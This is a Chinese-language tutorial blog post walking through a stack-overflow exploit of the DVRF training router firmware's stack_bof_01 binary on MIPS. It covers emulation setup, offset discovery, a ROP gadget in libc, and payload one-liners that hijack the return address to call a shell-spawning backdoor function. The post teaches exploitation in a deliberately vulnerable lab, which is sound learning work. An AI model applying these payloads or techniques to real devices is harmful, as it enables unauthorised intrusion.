路由器漏洞挖掘之栈溢出入门(二)

阅读量    63327 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

最后在学习 MIPS 漏洞挖掘的过程中,找到了一个不错的靶机平台 The Damn Vulnerable Router Firmware Project

项目地址:https://github.com/praetorian-inc/DVRF

The goal of this project is to simulate a real world environment to help people learn about other CPU architectures outside of the x86_64 space. This project will also help people get into discovering new things about hardware.

项目目录的结构:

Firmware 目录里存放的是路由器的固件文件,需要用 binwalk 进行提取

Pwnable Source 和 Source Code 都是放置存在漏洞的源代码的目录

 

前期环境准备

虚拟机环境的话可以选择 ubuntu 或者 debian,这里推荐 ubuntu 16.04

  • IDA 的话推荐 6.8 版本的,下面这个链接来下载

http://pan.baidu.com/s/1i4f1Lbf

要模拟路由器固件环境需要用到几个基本的工具:

qemu/qemu-user-static/qemu-mips-static
binwalk
buildroot
mips-gdb

这些程序都可以使用 apt 来安装,或者可以看下面的这篇文章的安装教程:
https://www.anquanke.com/post/id/84580

如果安装过程中有问题的话可以参考下面这篇文章:
https://xz.aliyun.com/t/3826

或者这里有一个教程专门介绍在 qemu 下安装这个环境
https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1

将项目 git clone 下来之后,使用 binwalk -Me 来提取出固件

参数的说明

-M[--matryoshka]   # 根据 magic 签名扫描结果进行递归提取
-e[--extract]      # 如果探测到文件系统则尝试提取

在 squashfs-root/ 目录下发现是一个 Linksys E1550 的固件环境

进入到 pwnable 目录下,发现有几个程序。

先看第一个漏洞程序,file 发现是 32 为小端的 MIPS 架构的 ELF 文件,也就是路由器等嵌入式系统使用的架构

要运行他首先要把 qemu-mipsel 或者 qemu-mipsel-static 复制到当前的目录下(路由器根目录)

  • 这里之所以要把程序放到 pwnable 目录里,是因为程序可以直接调用当前路由器的动态链接库,相当于借用路由器固件的库来使用

使用的命令:

cp $(which qemu-mipsel-static) ./
或者
cp $(which qemu-mipsel) ./

这里两句的命令的意思是寻找 qemu-mipsel-static 和 qemu-mipsel 可执行文件的位置,并把他复制到当前目录下

这里要运行的话必须指定根目录,所以我们需要退回到路由器的根目录下来,用 -L 参数来指定根目录:
./qemu-mipsel-static -L ./ pwnable/ShellCode_Required/socket_bof

可以看到程序成功运行起来了,接下来进行程序和源代码的分析

 

题目分析

IDA 静态分析

靶机当中给了 ELF 程序和源代码,这里建议先用 IDA 打开,汇编代码先过一遍,然后再看源代码

32 位的 IDA 打开查看 main 函数,前面是一些初始化工作,调用 memset 函数

在下面有一个 strcpy 函数

.text:004008A8                 lw      $gp, 0xE8+var_D8($fp)
.text:004008AC                 lw      $v0, 0xE8+arg_4($fp)
.text:004008B0                 nop
.text:004008B4                 addiu   $v0, 4
.text:004008B8                 lw      $v0, 0($v0)
.text:004008BC                 nop
.text:004008C0                 move    $v1, $v0
.text:004008C4                 addiu   $v0, $fp, 0xE8+var_D0
.text:004008C8                 move    $a0, $v0         # dest
.text:004008CC                 move    $a1, $v1         # src
.text:004008D0                 la      $t9, strcpy
.text:004008D4                 nop
.text:004008D8                 jalr    $t9 ; strcpy
.text:004008DC                 nop

仔细查看 strcpy 函数的两个参数,这里的 $a1 是从 $v0 传过来的,而 $v0 是从命令行参数传过来的值。

而这里的 $v0 是栈上的 buf 缓冲区。

这里调用 strcpy(buf,argv[0]) 函数,没有考虑到长度的问题,所以很明显存在栈溢出漏洞。

在左边的函数列表里,我们还可以发现其中的一个后门函数。这个函数直接调用了 system(“/bin/sh -c”) 来进行 getshell

所以这里很明显可以通过栈溢出来控制返回地址到这个函数,进行 getshell

程序源代码分析

再看一下第一个程序的源代码:

#include <string.h>
#include <stdio.h>

//Simple BoF by b1ack0wl for E1550

int main(int argc, char **argv[]){
char buf[200] ="";

if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
} 


printf("Welcome to the first BoF exercise!rnrn"); 
strcpy(buf, argv[1]);

printf("You entered %s rn", buf);
printf("Try Againrn");

return 0x41; // Just so you can see what register is populated for return statements
}

void dat_shell(){
    printf("Congrats! I will now execute /bin/shrn-b1ack0wlrn");
    system("/bin/sh -c");

    //execve("/bin/sh","-c",0);
    //execve("/bin/sh", 0, 0);
    exit(0);
}

这里果然是调用了 strcpy 函数接受命令行参数之后,直接将这个字符串放到缓存区中(len(buf) = 200),没有考虑目的缓冲区的大小导致的栈溢出。

后门函数也和我们分析的一样,直接调用 system 函数

 

栈溢出利用

IDA 动态调试分析

运行程序加上 -g 参数后使用 IDA 进行动态调试

若对调试的方法不太熟悉可以看笔者之前的文章:
https://www.anquanke.com/post/id/169689

在 0x004008C8 地址处下一个断点,观察参数的变化:

F9 运行到指定位置,F7 单步两次,查看寄存器的值

直接运行起来的话会发现程序会 crash 掉。

单步的话也可以看到返回地址被填充为了 ‘AAAA’,溢出成功

确定偏移

使用 patternLocOffset.py 工具来确定偏移,生成 300 个字符串

python patternLocOffset.py -c -l 300 -f offset

复制字符串作为程序的命令行参数

开启 IDA 的远程调试,在 0x0040093C 处下断点,也就是给 $ra 赋值的地方。

单步步过以后会发现,此时 $ra 的值是 0x41386741

我们用这个值来确定偏移:

nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x41386741 -l 300
[*] Create pattern string contains 300 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 204 (adjusted another-endian)
[+] take time: 0.0122 s

字符串在偏移 204 的位置,也就是填充 204 个字符串以后,再填充四个字节就是 $ra 的值

这里我们把他换成后门的地址就行了,注意这里是小端的格式

继续使用 IDA 来动态调试,将 payload 输入到 test 文件中

python -c "print 'a'*204+'x50x09x40x00'" > test

下断点把他运行起来

./qemu-mipsel -L ./ -g 23946  ./pwnable/Intro/stack_bof_01 "`cat test`"

但是在进入 dat_shell 函数时,运行到某一个地方时,程序又 crash 掉,这是为什么呢?

因为我们溢出的时候把 $gp 寄存器也覆盖了,$gp 寄存器是用来全局指针寻址用的,覆盖了他就会导致程序无法正常寻址,自然程序就会 crash。

  • 这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断

所以我们这里需要构造 ROP 来进行调用后门函数。

ROP 的构造

构造的原因和原理可以看下面的链接,这里就不造轮子了。

http://www.myzaker.com/article/599f82511bc8e0390f00001b/

首先我们在 IDA 中使用 mipsrop 来寻找合适的 gadget。

最方便的方式就是直接在栈上构造 dat_shell 的地址,使用 li/lw 命令传入 $t9 寄存器之后直接调用 gadget。

将路由器目录下的 lib 目录下的 libc.so.0 加载进 IDA,使用 mipsrop 插件在 0x6B20 处发现一个合适的 gadget

这个 gadget 直接将栈上的第一个内存空间做为函数来直接调用。

这里找到了这个偏移后,我们还需要找到我们本地的 libc 的基地址。

这里本来可以在关闭本机的 ASLR 以后,使用 mipsel-ldd 工具来查看程序的 libc 基地址

但是不知道为什么这里出错查看不了。

所以这里选择 gdb 调试来查看区段的映射信息。(IDA 里无法查看 libc/动态链接库的内存空间)

gdb 的动态调试

使用 gdb 进行动态调试的话会比较方便,只需要在本地编译安装一个 mips 架构的 gdb,或者可以直接使用 buildroot 编译好的 gdb(output/host 目录下)

gdb 加载程序以后挂上远程调试:

set architecture mips
target remote 127.0.0.1:23946

连接上远程 gdb 调试之后,程序会自动断在开头,之后就是和 x86 程序一样的调试了。

  • vmmap 命令来查看映射,得到 libc 的地址 0x766ebb20

上图也验证了 ROP 的地址就是我们需要的 gadget 的地址

调用 gadget 分析

python -c "print 'a'*204+'\x20\xbb\x6e\x76'+'\x50\x09\x40\x00'" > test

./qemu-mipsel -g 23946 -L ./ ./pwnable/Intro/stack_bof_01 `cat 'test'`

gdb 下断:

b *0x00400948

这里 jr $ra 之后就会跳转到 gadget 之后,再 jr 到 dat_shell 函数的地址了

getshell

填充说明:

\x20\xbb\x6e\x76        # 跳转到 gadget,将栈上第一个参数传给 $t9 并调用
\x50\x09\x40\x00        # jr $t9

这边成功执行了 system 函数

 

一些技巧

  1. 可以使用 buildroot output/host 目录下的一些工具,例如 ldd、objdump,这里最好将 output/host 目录导入到环境变量里去/
  2. IDA 版本最好选择 6.8 的,7.0 版本的对于 MIPS 架构程序的分析还存在一些问题。
  3. 多用 gdb 代替 IDA 来进行动态调试

 

总结

这里栈溢出利用的技巧还是 ROP 链的构造,还是多动手调试才能更加熟练。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多